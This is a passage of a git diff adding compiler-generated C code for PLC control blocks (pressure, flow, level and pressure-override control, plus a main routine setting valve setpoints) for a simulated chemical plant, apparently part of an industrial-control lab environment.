__SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + 